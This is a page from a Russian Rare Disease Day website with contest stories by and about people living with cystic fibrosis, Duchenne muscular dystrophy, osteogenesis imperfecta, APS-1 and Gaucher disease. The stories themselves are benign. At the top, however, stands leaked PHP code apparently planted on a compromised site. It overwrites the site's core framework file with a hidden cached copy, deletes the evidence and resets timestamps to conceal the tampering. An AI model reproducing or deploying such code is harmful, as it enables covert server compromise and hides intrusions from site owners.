$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Рассказы
logo
 

28-02 международный день редких болезнейМеждународный день редких болезней

До дня редких болезней осталось

 
Home Вы находитесь здесь: Главная страница Конкурс "Напиши историю" Рассказы
Рассказы
Нужно проживать свой день так как ты этого хочешь и не думать что будет завтра, ведь мы живем сегодня.

Татьяна — волонтер некоммерческого партнерства «Помощи больным муковисцидозом», который входит в состав «ГАООРДИ», и координатор волонтерского движения благотворительного фонда «Острова».

«Диагноз мне поставили в 7 лет, и то — случайно. Я легла чтобы удалить аденоиды, а мой врач-лор обратила внимание на мои «странные» пальчики — у больных муковисцидозом ногти имеют закругленную форму. И после этого началась «веселая» жизнь: постоянные госпитализации, уколы. Первые два года я практически жила с мамой в больнице, но со временем качество лечения стало выше, а мои госпитализации — реже.
Если отойти от темы болезни, то я вполне обычный человек. Я закончила школу, потом по стечению обстоятельств пошла в техникум, а после его окончания решила получить высшее образование заочно, совмещая учебу и работу по первой специальности. Сейчас я каждый день хожу на работу, а выходные провожу с семьей или друзьями, люблю посещать концерты, путешествовать. Единственное отличие — мне нужно чуть больше времени утром для сборов на работу (ингаляции, кинезитерапия), а вечером вместо дивана и кино — велотренажер или легкие физические нагрузки.

Когда у меня начинается обострение болезни, я не могу даже от комнаты до кухни пройти без одышки. Каждое движение становится тяжелым, все время хочется спать, начинают пропадать силы как физические, так и моральные.

Когда ты не знаешь сколько тебе осталось, то начинаешь ставить более реальные цели, стремиться к их исполнению, хочется за короткий срок больше узнать, сделать...
Благодаря такому нюансу своего здоровья я познакомилась с множеством удивительных людей: нашими пациентами, их родителями и своими любимыми волонтерами. Мы как одна большая семья, где все готовы придти на помощь друг другу в любой момент.

В первую очередь, мне всегда помогала мама. Она не опустила руки, когда врачи поставили диагноз и вынесли приговор, что мне осталось жить пару лет. И сейчас, когда мне порой хочется бросить все, я понимаю, что этого делать нельзя хотя бы ради мамы, которая вложила столько сил, чтобы я сейчас была жива. Родные всячески оказывают моральную поддержку. Любимый доктор научила меня не бороться с болезнью, а принимать ее, воспринимать, как некую особенность своего организма, которой просто нужно уделять особое внимание. Для нее нет мелочей.

Очень важна поддержка друзей. Мне очень повезло в жизни — у меня есть люди, которые не дают мне расслабиться. И даже когда все совсем плохо, они способны одним словом, одной встречей задать курс на позитивный настрой.

Долгое время была волонтером по своему заболеванию, участвовала в информационных акциях, в благотворительных базарах, а сейчас работаю в благотворительном фонде «Острова».

Со стороны государства для людей, больных муковисцидозом, наиболее важны обеспечение всеми лекарственными препаратами, средствами реабилитации, санаторно-куротным лечением.

Если говорить о личностных качествах, то я упрямая, упертая, можно назвать как угодно, но я живу по принципу «я хочу, и значит — будет». И не важно, какая погода за окном, самочувствие, — я найду способ сделать так как хочу.

«Не в наших планах жить вечно, в наших планах жить ярко» — на мой взгляд это самая точная цитата для таких людей, как мы. Нужно проживать свой день так как ты этого хочешь и не думать что будет завтра, ведь мы живем сегодня.»

 

 
Желание жить побеждает любую болезнь, даже самую тяжелую.

Анатолий Смыслов — молодой человек двадцати шести лет, который, несмотря на сложность своего заболевания, ведет активную социальную жизнь, учится в университете и старается преодолеть болезнь хотя бы на время. У Анатолия — мышечная дистрофия Дюшенна. Это заболевание встречается у 1 из 4000 новорожденных мужского пола. Это наиболее прогрессирующий и тяжелый вид мышечной дистрофии.

Анатолий — сын заместителя председателя Фонда помощи детям-инвалидам с нервно-мышечными заболеваниями «Сириус», который входит в состав «ГАООРДИ». Он активно участвует в жизни Фонда и во многом помогает своей маме — Екатерине Смысловой. Молодой человек поделился с нами историей о том, как он преодолевает свою болезнь и сохраняет позитивный настрой к жизни.

«У меня редкое заболевание – мышечная дистрофия Дюшенна. Заболевание у нас развивается так – обычно люди в детстве ходят, а после десяти лет садятся в коляску. Происходит ухудшение состояния и мышцы слабеют.

Я проходил до 13 лет, во многом — благодаря маме. Потому что она меня водила в обычную школу, а не оставила на домашнем обучении. Благодаря тому, что я ходил в школу каждый день, я проходил дольше, чем обычно. В школах учителя делают инвалидам скидки. Мне никто их не делал, потому что в этой школе меня знали с детства. Это была даже не школа, а гимназия.

Позже встал вопрос о дальнейшем обучении. Обычно ВУЗы находятся в старых зданиях, а старые здания очень сложно приспособить для людей с инвалидностью. Я решил, что буду ждать дистанционного обучения. И такая возможность наконец-то появилась. Сейчас я студент Санкт-Петербургского государственном экономического университета (СПБГЭУ), учусь на четвертом курсе дистанционно, по специальности менеджмент.

Нам каждый день читают лекции в режиме онлайн. Мы можем учиться, не выходя из дома, как обычные студенты. Мы видим преподавателя, можем включить веб-камеру. Я хочу окончить университет с красным дипломом.

Не приспособлены для людей с инвалидностью не только ВУЗы, но и обычные дома. Я, например, проживаю на втором этаже в доме без лифта. Раньше, когда я был легче, я выходил на улицу чаще. Сейчас выхожу только по необходимости. Конечно, хотелось бы, чтобы каждый день можно было выйти, чтобы как все ходить в университет.

При моем заболевании, по мнению врачей, человек обычно доживает до 20 лет. Но мне уже 26, и я себя хорошо чувствую. Во многом потому, что каждый год езжу на море. Ходить я не могу, зато могу плавать. Это очень мне помогает. После этого месяца два чувствуется улучшение здоровья. Дома я стараюсь тоже делать какие-то упражнения, но дома тяжело себя заставить.

Раньше мы ездили в центр реабилитации. Но теперь, к сожалению, по федеральному закону в реабилитационных учреждениях сопровождение должны оказывать социальные работники, а не родные и друзья. Но специалистов, которые могли бы обращаться с людьми с такой болезнью, как у меня, у нас нет. Наши особенности знают, только близкие нам люди.

Считается, что все инвалиды одинаковые. Но кто-то может себя обслуживать, а кто-то нет. Нас всех пытаются уравнять. Все эти законы принимаются из-за незнания. Тот же, например, закон о технических средствах реабилитации. Раньше, например, мы могли сами выбирать техническое средство реабилитации. Сейчас можно получить только то, что дают. Можно, конечно, купить любое – но компенсацию выплачивают только по цене той техники, которую должны были выдать. Мотивировали это решение тем, что многие инвалиды злоупотребляют своими правами. Я лично не знаю никого, кто бы злоупотреблял.

Бесплатные лекарства выделяются людям с теми редкими заболеваниями, которые лечатся. Всего этих нозологий семь. Мое заболевание не лечится, поэтому ничего не предназначено. Но поддерживающая терапия быть должна, потому что она может продлить жизнь. Я себя неплохо чувствую благодаря тем лекарствам, которые мне мама дает с детства. Эти лекарства, к сожалению, не входят в официальный перечень, и мы приобретаем их самостоятельно.

Но самое главное от чего зависит наша жизнь, помимо лекарств и упражнений, — это позитивный настрой и оптимизм. Желание жить побеждает любую болезнь, даже самую тяжелую. Надо готовить себя к будущей жизни и смотреть в нее с оптимизмом, а не думать о том, что болезнь тяжелая и конец один. После окончания университета я верю, что устроюсь на хорошую работу.
И еще у меня есть мечта бороться за права инвалидов, как это делают инвалиды на Западе. Там есть для них комфортные условия, благодаря их активности. И я хочу, чтобы у нас было также, но начинать надо с себя!»

 
Людям с редкими заболеваниями я советую верить в свое будущее, прислушиваться к себе и не ставить перед собой каких-либо рамок!

Анастасия Румянцева — девушка с диагнозом «несовершенный остеогенез». Анастасия является активным членом Санкт-Петербургского отделения Межрегиональной Общественной Организации инвалидов с заболеванием несовершеный остеогенез «Хрустальные люди», входящей в состав «ГАООРДИ».

«Я родилась в городе Ленинграде. Диагноз «несовершенный остеогенез» мне поставили еще в роддоме. Постоянно лежала в городских больницах с переломами. С пяти лет началось лечение в институте им. Турнера с помощью операций. Лечилась у врачей Елены Григорьевны Сосненко, Александра Павловича Поздеева и Фаиза Садрисламовича Зубоирова. Последнюю операцию делали в 15 лет. В 2004 году поступила на факультет книжного дела и редактирования в МГСГИ (ныне переименованный в МГСЭИ). С 2005 года начала заниматься фехтованием на колясках. В 2009-ом окончила институт, фехтованием продолжила заниматься в Петербурге. В данный момент я практически не тренируюсь, так как в 2014 г начала заниматься в театральной студии Безусловного театра. Не замужем, детей нет.

Конечно же, мой диагноз повлиял на мою жизнь. Но если бы не этот факт, я была бы другим человеком, и я не могу сейчас представить, как бы могло быть. На протяжении жизни мне помогают мама, мои родственники и друзья.

Несмотря на диагноз, я окончила факультет книгоиздания и редактирования МГСГИ. Также являюсь призером кубков и чемпионатов России по фехтованию на колясках, кандидатом в мастера спорта. Участвовала в творческом конкурсе «Это я» Санкт-Петербургской Общественной Правозащитной Организации Инвалидов «На коляске без барьеров». Спорт научил меня находить выход из трудных ситуаций.

Недавно в МООИ «Хрустальные люди» я помогала организовывать праздник совместно с фондом «Сегодня»: 7 февраля — Волшебный День для Хрустальных Людей. Стараюсь помогать по мере сил!

Я считаю, что детям с несовершенным остеогенезом необходимы стандарты лечения. Также хотелось бы отметить, что нужна волонтерская помощь для одиноких родителей с больными детьми (например, добровольцы в качестве временной няни).

Людям с редкими заболеваниями я советую верить в свое будущее, прислушиваться к себе и не ставить перед собой каких-либо рамок!

 

 
Любая болезнь или заболевание является образом жизни человека, который по воле судьбы должен с этим жить, но ни в коем случае не опускать руки

Прежде всего, хочу сказать? что любая болезнь или заболевание является образом жизни человека, который по воле судьбы должен с этим жить, но ни в коем случае не опускать руки, что и делаю Я. В 10 лет мне поставили диагноз Аутоимунный полиэндокринный синдром 1 типа, в на начало 2000 годов это было в диковинку, специалистам из глубинки (г. Чита), за начало болезни можно сказать пережила многое, и реанимацию и месяцы проведенные в больницы и т.п. в 15 лет меня просто выписали из больницы как безнадежную, но ничего пока живу и радуюсь жизни. После чего попала на консультацию с специалистам их Эндокринологического научного центра г. Москва, куда я приезжала два раза в год на обследование. Сейчас мне 26 лет, сразу после окончания университета я переехала жить в Москву, чтобы быть по ближе с Центру эндокринологии. С детства я очень люблю танцевать, но при постоянных приступах не могла заниматься танцами регулярно, переехав в Москву, данный вид увлечении стал моим хобби, сначала чтобы просто перебивать боль от судорог, болью от тренировок, теперь это моя вторая работа, я преподаю акробатические танцы. Вторая- потому что днем я работаю бухгалтером. Это не все чем я занимаюсь, я также увлекаюсь профессионально репортажной фотосъемкой, делаю видеомонтаж роликов. Огромное спасибо хочу сказать своим врачам, особенно научному сотруднику Орловой Елизавете Михайловне и лечащему врачу Созаевой Лейле Салиховне. 

Юлия

 

 
О чем написать,какой выбрать день? Ведь их было так много!

 

Размышляя о самом редком ,интересном дне моей жизни я столкнулся с трудностями. О чем написать,какой выбрать день? Ведь их было так много! Может рассказать о поездке в аквапарк в Казани или об экскурсиях в Макарьевский монастырь , в Пятигорск,в Москву. Потом мой взгляд упал на фотографии висящие на стене. На них были запечатлены удивительные места , где я был счастлив не один день! Меня осенила мысль: вот о чем надо написать- когда я впервые увидел и осознал незаметную на первый взгляд красоту нижегородского края,где я родился и вырос. Начался этот прекрасный летний день с поездки в санаторий «Солнечный» , находящийся недалеко от города Павлово.Туда я отправился поправлять здоровье после длительного пребывания в больнице, где получил огромную дозу антибиотиков. Впечатления от дороги подняли мне настроение. Я открыл для себя новые, удивительные места. Особенно мне понравился город Павлово, где увидел много старинных зданий, великолепный храм на берегу реки, понтонный мост, по которому мы переправились через Оку. После трехчасовой дороги мы оказались в санатории ,расположенном в сосновом бору. Могучие деревья окружали нас со всех сторон , свежайшим воздухом ,казалось, невозможно было надышаться. После больничной палаты мне все здесь показалось чудом : столетние сосны встречали меня, радостно покачивая вершинами, ноги утопали во мху, сквозь который пробивались рыжие лисички и румяные сыроежки. Врач санатория назначил мне много процедур , в том числе неприятное для меня лечение грязями. Но чего только не перенесешь , чтобы стать здоровым. К счастью, я там встретил знакомых мальчишек- двойняшек, тоже больных муковисцидозом. Они мне рассказали о чудесном озере ,расположенном недалеко, под горой. Это было старое русло реки Оки. К вечеру мы отправились туда .Озеро было действительно сказочное ,называется оно Кусторка. Что же мы увидели там? В зеркальной воде , отражаясь в лучах заходящего солнца , качались прибрежные кустарники, деревья , стоящие плотной стеной у самой воды, цветы.... «Смотри , цапля летит!»- закричали мальчишки. У берега в водорослях она показалась с лягушкой в клюве. Мы стояли очарованные. Я, не выдержав ,схватил фотоаппарат и стал делать снимки. Сейчас дома у меня часть снимков хранится в альбоме, другая – в рамках украшает мою комнату. Я часто смотрю на них , вспоминаю этот счастливый день . когда я получил огромный запас энергии, духовных сил ,бодрости и здоровья.

Иванов Алексей

 
Никите поставили диагноз Болезнь Гоше( 1 тип) в 5 лет

Nikita.png

Никите поставили диагноз Болезнь Гоше( 1 тип) в 5 лет. Руководством к действию были продолжительные и обильные носовые кровотечения, после перенесенной ветряной оспы. К сожалению, диагноз подтвердился.... Он есть и никуда не денется. Это был как приговор... Но назначено лечение, правильно подобрана доза... Все успокоились. Он не чувствует себя ущемленным. Болезнь не мешает ему жить полноценной жизнью: ходить в обычную школу, общаться со сверстниками.... Физическое и умственное развитие у ребенка в норме. В школе круглый отличник с 1 класса по настоящее время. (сейчас заканчивает 8 класс). Является участником и призером многих Олимпиад по разным школьным предметам. Активно участвует во всех мероприятиях школы и класса.

 


Главная | О дне редких | Мероприятия | Фото и видео | Стать другом | Конкурсы

Разработка сайта: DriveLab.ru